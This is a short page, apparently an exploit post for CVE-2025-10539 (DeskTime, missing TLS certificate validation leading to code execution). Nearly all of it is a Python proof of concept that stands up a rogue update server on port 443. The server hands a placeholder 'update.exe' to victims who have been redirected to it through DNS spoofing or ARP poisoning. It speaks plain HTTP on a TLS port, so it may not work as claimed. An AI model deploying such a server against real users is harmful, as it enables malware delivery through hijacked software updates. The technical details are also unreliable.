CVE-2025-10539 DeskTime TLS证书验证缺失致RCE

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2025-10539 This script demonstrates a Man-in-the-Middle (MITM) setup to intercept and modify traffic if TLS validation is missing. Note: This is for educational purposes only. """ import socket from http.server import HTTPServer, BaseHTTPRequestHandler class MaliciousUpdateHandler(BaseHTTPRequestHandler): """ A rogue HTTP handler that serves a malicious executable instead of the legitimate update. """ def do_GET(self): # Send 200 OK response self.send_response(200) # Set content type as executable or binary self.send_header('Content-Type', 'application/octet-stream') self.send_header('Content-Disposition', 'attachment; filename="update.exe"') self.end_headers() # In a real exploit scenario, this would be a malicious payload (e.g., shellcode) # Here we use a dummy placeholder malicious_payload = b"This is a placeholder for a malicious executable." self.wfile.write(malicious_payload) print("[+] Served malicious payload to client") def log_message(self, format, *args): # Suppress default logging pass if __name__ == "__main__": # Attacker sets up a rogue server listening on a port # They would redirect victim traffic to this port via DNS spoofing or ARP poisoning ROGUE_PORT = 443 server = HTTPServer(('0.0.0.0', ROGUE_PORT), MaliciousUpdateHandler) print(f"[*] Rogue update server listening on port {ROGUE_PORT}...") print("[*] Waiting for victim to request update...") try: server.serve_forever() except KeyboardInterrupt: print("[!] Server stopped.")